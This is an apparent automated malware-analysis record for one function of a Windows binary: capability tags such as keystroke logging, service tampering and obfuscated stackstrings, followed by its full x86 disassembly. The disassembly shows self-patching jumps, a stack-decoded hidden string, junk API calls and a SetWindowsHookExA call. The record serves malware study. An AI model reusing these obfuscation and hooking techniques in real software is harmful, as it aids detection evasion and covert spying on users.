Function at 0xab1000
Capabilities:
Contain obfuscated stackstrings
Create directory
Delete directory
Delete file
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get session user name
Identify system language via api
Log keystrokes
Modify service
Query or enumerate registry key
Query service status
Read .ini file
Set registry value
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov dword [ebp - 0x10], 0xab1e72
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xab1036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xab11b2
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xab10b8
call fcn.0048e482
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xab107a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xab1094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xab1094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xab104a
mov byte [ebp - 0x68], 7
mov byte [ebp - 0x67], 0x62
mov byte [ebp - 0x66], 5
mov byte [ebp - 0x65], 0x6c
mov byte [ebp - 0x64], 0
mov byte [ebp - 0x63], 0x77
mov byte [ebp - 0x62], 9
mov byte [ebp - 0x61], 0x70
mov byte [ebp - 0x60], 1
mov byte [ebp - 0x5f], 0x7e
mov byte [ebp - 0x5e], 8
mov byte [ebp - 0x5d], 0x7b
mov byte [ebp - 0x5c], 4
mov byte [ebp - 0x5b], 0x84
mov byte [ebp - 0x5a], 6
mov byte [ebp - 0x59], 0x7d
mov byte [ebp - 0x58], 0xa
mov byte [ebp - 0x57], 0x8d
mov byte [ebp - 0x56], 0x97
mov byte [ebp - 0x55], 0xd9
mov byte [ebp - 0x54], 0xe7
mov byte [ebp - 0x53], 0x6f
mov byte [ebp - 0x52], 0x2f
mov byte [ebp - 0x51], 0x96
mov byte [ebp - 0x50], 0x60
mov byte [ebp - 0x4f], 0x30
mov byte [ebp - 0x4e], 2
mov byte [ebp - 0x4d], 0x7f
mov byte [ebp - 0x4c], 3
mov byte [ebp - 0x4b], 0x33
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xab1142
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x1e
jae 0xab11a7
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x68]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xab116e
mov dword [ebp - 0x24], 0xa
mov eax, dword [ebp - 8]
add eax, 8
mov dword [ebp - 8], eax
jmp 0xab113a
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x67]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xab1196
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xab1183
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x68]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xab113a
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xaa4c8a
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.004076c3
mov ecx, eax
call fcn.00402aa6
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402a4a
and dword [ebp - 0x1c], 0
jmp 0xab11ea
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xab11fa
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xab11e3
push 0
push 0
push 0xfed
push 0x1c72
push 0
call dword [sym.imp.USER32.dll_ModifyMenuW]
push 0x1b51
push 0x1594
push 0x619
push 0x7da
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_HideCaret]
push 1
push 0x210a
push 0xb12
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemInt]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
push 0
push 0
push 0x787
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
push 0x185e
call dword [sym.imp.USER32.dll_MessageBeep]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
push 0x1ee1
push 0x155d
push 0
push 0
push 0x2539
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
push 0x19b8
push 0
push 0
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
push 0x1ade
push 0
call dword [sym.imp.USER32.dll_GetSubMenu]
push 0
call dword [sym.imp.USER32.dll_SetKeyboardState]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetPropA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0
push 0
push 0x1d1f
push 0x1035
push 0
call dword [sym.imp.USER32.dll_InsertMenuW]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push 0
push 0x16a9
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push 0
push 0x24e4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
push 0
push 0x189
push 0xc3d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_MoveToEx]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetParent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0
push 0
push 0x2640
push 0xb47
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0x212a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RestoreDC]
push 0
push 0
push 0x1774
push 0x16
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
call dword [sym.imp.GDI32.dll_GdiFlush]
push 0
call dword [sym.imp.GDI32.dll_CreateRectRgnIndirect]
push 0xe5f
push 0x15c4
push 0
push 0x71
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndPage]
push 0
push 0x1168
push 0x119d
push 0
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0
push 0x168b
push 0x1423
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
push 0x36f
push 0x2227
push 0
call dword [sym.imp.USER32.dll_DeleteMenu]
push 0x67
push 0x52a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_LineTo]
push 0x23d1
push 0
push 0
push 0x1166
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
push 0x1e8c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0x12e9
push 0
push 0xbd8
push 0x11b7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
call dword [sym.imp.USER32.dll_GetCapture]
push 0x1eeb
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polyline]
push 0x1a26
push 0x1561
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
push 0xaa7
call dword [sym.imp.KERNEL32.dll_ExitThread]